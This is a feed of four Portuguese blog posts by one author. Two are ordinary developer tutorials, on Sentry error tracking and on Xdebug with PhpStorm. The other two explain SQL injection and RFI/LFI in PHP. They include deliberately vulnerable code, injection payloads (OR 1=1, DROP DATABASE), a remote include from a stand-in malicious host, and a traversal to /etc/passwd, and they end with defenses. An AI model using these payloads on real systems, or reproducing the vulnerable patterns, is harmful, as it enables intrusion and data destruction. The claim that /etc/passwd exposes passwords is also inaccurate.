O que é Error Tracking?

[wp_ad_camp_3]

Error Tracking é o ato de você rastrear erros. Aplicado na área de software o “Bug Tracking” é um aplicativo de software projetado para ajudar na garantia da qualidade de software. Ter um sistema de rastreamento de bugs é extremamente valioso no desenvolvimento de software, e eles são usados extensivamente por empresas que desenvolvem produtos de software.

Existem sistemas para gerir erros como o MantisBT mas hoje vamos falar de um carinha “diferente”. Apesar do MantisBT ser uma ferramenta muito popular todo o seu processo querendo ou não inicia com a iteração do usuário e nosso objetivo no post é descobrir bugs antes dos clientes reportarem ou pelo menos descobrir o máximo possível.

O que eu ganho com isso?

Podemos começar com tempo? Sim né, tempo é dinheiro! Se você diminui tempo para resolver problemas, automaticamente ganha tempo para criar novas soluções. Após isso acredito que á confiança de seus clientes, já pensou um cliente seu reportar um problema e você talvez já ter a solução? Ou melhor ainda, talvez ele nem precise reportar isso a você! Lindo né? Não podemos deixar de falar da qualidade de seu produto, pois a evolução vai ser constante.

Existem muitos ganhos poderia ficar aqui falando sobre todos eles, mas com os ganhos relatados acima já vale a pena saber mais sobre o assunto né?

Onde eu posso aplicar?

Praticamente em qualquer produto de software, seja aplicativos mobile, api’s, front-end, é escrito usando uma linguagem de programação suportada (acredite o suporte é grande) então você pode rastrear os erros fazendo uso da ferramenta. Eu já apliquei em aplicações escritas em PHP, Java, Ionic, FrontEnd’s HTML + Javascript…

Qual o trabalho para implantar?

[wp_ad_camp_2]

Posso dizer que foi uma das ferramentas mais rápidas que já implantei na vida! Menos de 15 minutos e uau ? estava rastreando tudo. Mas isso vai alem de rastrear os erros, então temos um trabalhinho em reanalisar nosso processo de software, como por exemplo. Você versiona sua ferramenta usando um VCS? Sua aplicação tem uma politica de versionamento como por exemplo o Semantic Versioning? Isso tudo é importante mas vamos deixar esses detalhes para um próximo post.

Qual ferramenta é essa, fala logo Hiago ?!

Apresento a vocês o Sentry ele atende tudo o que mencionei de forma simples, clara e objetiva! O Sentry é uma plataforma de rastreamento de erro de código aberto que fornece lógica completa de aplicativos, contexto profundo e visibilidade em toda a pilha em tempo real. Pela primeira vez, os desenvolvedores podem corrigir erros em todos os estágios do ciclo de vida do produto, bem antes dos usuários encontrarem um problema.

Vamos colocar a mão na massa?

Então vamos ver isso funcionando né pessoal, muito papo e pouca ação ninguém gosta disso. Para o exemplo a seguir eu gostaria de deixar umas coisas claras.

1. O Sentry é gratuito caso você queira baixar o sistema e hospedar ele por conta própria, mas ele oferece serviços em cloud e isso é pago (mas tem uma conta free com algumas limitações). Para mostrar o funcionamento, vou estar fazendo o uso da conta free deles.
2. Capturar informações do usuário sem seu consentimento “mesmo que o produto seja seu” pode causar problemas jurídicos, então deixe bem claro isso em sua política de privacidade e consulte o jurídico de sua empresa.

Agora que já sabemos essas informações, vamos lá fazer um registro no sentry e criar uma conta grátis. Após preencher os dados ele já vai perguntar em qual linguagem seu projeto está escrito, pela popularidade e facilidade vou mostrar o exemplo para rastrear erros no javascript ok? Então podem selecionar o JavaScript colocar um nome para o seu projeto e clicar em “Create Project”.

Ao finalizar esse processo você vai receber as instruções para configurar seu projeto, no nosso caso é só incluir uma tag `script` em nosso index.html e logo após executar a função do sentry para capturar os erros, acho bom lembrar que esses devem ser os primeiros scripts de sua aplicação a serem carregados… E após isso clicar em All Done.

Testando uma captura

[wp_ad_camp_1]

Agora é simples, você pode gerar um problema “proposital” e ver como ele chega no Sentry. Vou deixar o código HTML abaixo para vocês fazerem seus testes, lembrem-se de mudar a linha 6 com suas credenciais.

<!DOCTYPE html>
<html lang="pt-br">
<head>
	<title>Teste Sentry - Hiago.me</title>
	<script src="https://browser.sentry-cdn.com/4.0.6/bundle.min.js" crossorigin="anonymous"></script>
	<script>Sentry.init({ dsn: 'INSIRA_SEU_DSN' });</script>
	
	<script>
		var gerarErro = function () {
			var teste = null;
			teste.Acao();
		};
	</script>
</head>
<body>
	<h1>Testando erro</h1>
	<button onclick="gerarErro()">Clique para gerar um erro</button>
</body>
</html>

Após clicarem no botão ele vai chamar um método dentro de um variável que é null e isso vai ser capturado e reportado para você ??. Conforme a imagem abaixo.

Conclusão

Com o Sentry é muito simples fazer o seu Error Tracking, ele é uma ferramenta enorme e tem muitas outras funcionalidades que não quis citar aqui no post. Essa foi uma apresentação de uma série de posts que vou fazer sobre o assunto. Espero que tenham gostado e quero que fiquem por dentro de outras dicas por isso curtam minha página no facebook =)

The post Error Tracking: Localizando bugs antes de seus clientes ? appeared first on Hiago Silva Souza.

Fiz esse procedimento usando o Fedora Workstation 25.

[wp_ad_camp_3]

Instalando o XDEBUG

Primeiro você deve acessar o seu terminal, e executar o comando abaixo como super usuário, no caso do fedora basta digitar o sudo antes do comando para se elevar com direitos administrativos no sistema operacional.

$ sudo dnf install php-xdebug

Pronto, após a execução do comando acima você já deve ter o XDEBUG instalado.

Configurando o XDEBUG no php.ini

[wp_ad_camp_1]

Primeiro passo é saber onde está o seu php.ini, para isso crie um arquivo teste.php com o conteúdo abaixo:

<?php

echo phpinfo();

Acesse pelo navegador, e localize a linha abaixo:

No caso o arquivo do xdebug encontra-se em /etc/php.d/15-xdebug.ini vamos editar ele e realizar as configurações necessárias.

Ao abrir o arquivo você provavelmente vai encontrar o conteúdo “zend_extension=xdebug.so”, acima dele adicione “[xDebug]” e abaixo as configurações para fazer o phpstorm funcionar com ele:

[xdebug]
zend_extension=xdebug.so
xdebug.default_enable=1
xdebug.idekey=PHPSTORM
xdebug.remote_enable=1
xdebug.remote_autostart=1
xdebug.remote_port=9000
xdebug.remote_connect_back=1

Após isso reinicie o seu servidor http, no caso do Fedora estou usando o apache. Para reiniciar basta digitar o comando abaixo:

sudo service httpd restart

Testando no phpStorm

[wp_ad_camp_2]

Para testar no phpstorm, crie um arquivo teste.php faça alguma operação nele, coloque um breakpoint. Clique sobre o listener () e assim que ele ficar verde pode executar sua aplicação pelo navegador.

Pronto, XDEBUG instalado e pronto para uso pessoal.

Links úteis:

XDebug: https://www.xdebug.org

PHPStorm: https://www.jetbrains.com/phpstorm

Fedora WorkStation: https://getfedora.org/pt_BR/workstation/

The post Configurar o XDEBUG no Linux usando o PHPStorm appeared first on Hiago Silva Souza.

SQL Injection, é um furo muito comum em programas de computador. Essa falha atinge sistemas que façam interação com bases de dados, é uma falha que pode levar o cracker a acessar, manipular, modificar e até remover informações de seu banco de dados sem autorização. Para isso basta sua aplicação se comunicar com o banco de dados sem tratar a entrada de usuários. O SQL Injection, pode ser explorado desde aplicações desktop’s até aplicações web.

O Ataque!

[wp_ad_camp_1]

Um cracker pode fazer o uso de uma entrada de uma informação que interaja com alguma consulta SQL dentro da aplicação.

Exemplo: Um sistema de autenticação, até mesmo para um script para buscar um conteúdo.

Supondo que você seja uma pessoa que saiba sobre programação, observe o código abaixo escrito em PHP:

<?php
$conn = mysql_connect('localhost','root','suasenha');
mysql_select_db('teste',$conn);
$autenticar = mysql_query('SELECT COUNT(1) as qtd FROM usuario WHERE &nbsp;usuario="'.$_POST['usuario'].'" AND senha = "'.$_POST['pwd'].'"', $conn);
$res = mysql_fetch_assoc($autenticar);
if($res['qtd'] >= 1) {
echo "ACESSOU, TUDO OK!!!";
} else {
echo "Usuário ou senha incorretos.";
}

Agora vamos fazer um teste, colocando no payload da requisição o valor admin para a chave ‘usuario’ e admin para a chave ‘pwd’. A query que iria para o MySQL executar seria a query abaixo:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario="admin" AND senha = "admin"

Agora vamos modificar as informações enviadas pelo usuário, vamos supor que seu usuário seja um cracker e deseja obter acesso a sua aplicação para isso ele vai modificar o valor de usuario para admin” OR 1=1 — agora vamos fazer a mesma análise de como a query vai ser enviada ao banco de dados, segue abaixo:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario="admin" OR 1=1 --" AND senha = ""

Caso você possua o usuário que o cracker colocou na injeção, ele vai ter o acesso sem necessitar de possuir a senha.
Esse tipo de ataque, abre leque para que o cracker explore falhas de XSS em telas de cadastro em seus painéis administrativos.

Mas falhas de injeção abrem um leque muito alto para o atacante, como por exemplo a exclusão de sua própria base de dados, imagine que no campo de usuário foi informado esse conteúdo “; DROP DATABASE DATABASE(); — a query final seria a seguinte:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario=""; DROP DATABASE DATABASE(); --" AND senha = ""

E assim você acaba de perder TODO o seu banco de dados, tudo isso por não tratar uma simples entrada de informação.

Como se prevenir:

[wp_ad_camp_2]

Para se prevenir pasta você fazer o tratamento de qualquer informação antes de encaminha-lá ao banco de dados.

Vamos mudar a extensão do mysql_* para a extensão do PDO do php:

<?php
$conn = new PDO('mysql:host=localhost;dbname=teste','root','suasenha');
$autenticar = $conn-&gt;prepare('SELECT COUNT(1) as qtd FROM usuario WHERE &nbsp;usuario=:usuario AND senha = :pwd');
$autenticar->bindParam(':usuario', $_GET['usuario']);
$autenticar->bindParam(':pwd', $_GET['pwd']);
$autenticar->execute();
$res = $autenticar->fetch(PDO::FETCH_ASSOC);
if($res['qtd'] >= 1) {
     echo "ACESSOU, TUDO OK!!!";
} else {
     echo "Usuário ou senha incorretos.";
}

Pronto! A partir de agora qualquer tipo de informação enviada pelo usuário vai ser tratada, vamos ver como ficaria a consulta enviada para o MySQL com o valor da chave usuario contendo admin” OR 1=1 —:

SELECT COUNT(1) as qtd FROM usuario WHERE usuario="admin\" OR 1=1 --" AND senha = ""

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

The post Segurança: SQL Injection, Os dados de sua empresa estão protegidos? appeared first on Hiago Silva Souza.

RFI/LFI, do inglês (Remote/Local File Include) é um tipo de vulnerabilidade de segurança para páginas na internet. Essa vulnerabilidade pode ser usada para explorar, interromper e até obter dados usando um serviço na internet, uma vez que o mesmo interprete a inclusão do código a partir de uma informação enviada pelo cliente diretamente para a aplicação.

O Ataque!

[wp_ad_camp_1]

O ataque ocorre quando o desenvolvedor faz a inclusão de arquivos, baseado em entradas dos usuários. Vamos colocar como exemplo, um formulário para selecionar o idioma de uma página:

pagina.php

<?php
   if(isset($_GET['idioma'))
        require_once($_GET['idioma']);
?>

<form method="GET">
     <select name="idioma">
          <option value="portugues.php">Português</option>
          <option value="ingles.php">Inglês</option>
     </select>
</form>

Agora o php inclui um arquivo baseado na entrada do usuário, vamos ver alguns exemplos de entradas que poderiam causar dor de cabeça:

Exemplo de RFI (chamando um arquivo remoto…)

pagina.php?idioma=http://malvado.exemplo.com.br/script-php-do-mal.txt?. Agora imagine que o script-php-do-mal.txt contenha o seguinte conteúdo “@unlink(__DIR__ . ‘/pagina.php’);” pronto você acaba de perder seu script!

Exemplo de LFI (Chamando um arquivo local…)

pagina.php?idioma=../../../../../etc/passwd%00?. Você acaba de listar a senha de seus usuários UNIX online!

Observação: Os exemplos acima são muitos comuns, e muitos provedores de hospedagem bloqueiam o acesso aos arquivos/url externas como citados nos exemplos. Os exemplos citados foram usados somente para mostrar possibilidades para exploração das falhas.

Como se prevenir:

[wp_ad_camp_2]

Caso você não seja o desenvolvedor e queira fazer uma precaução via servidor, você pode estar trabalhando com as configurações do PHP (ou do interpretador/linguagem que estiver usando), para isso desabilite a inclusão de URL’s no seu php.ini, para isso basta modificar o valor de allow_url_include para Off. No caso de LFI, o correto é o tratamento no próprio script (não fazendo uso de inclusões baseadas em informações de usuários), mas você pode se prevenir fazendo bom uso dos direitos que o próprio sistema operacional lhe oferece.

Obrigado!

Espero que com esse POST eu tenha contribuído para que vocês melhorem a segurança em suas aplicações.

The post Segurança: O que é RFI / LFI? appeared first on Hiago Silva Souza.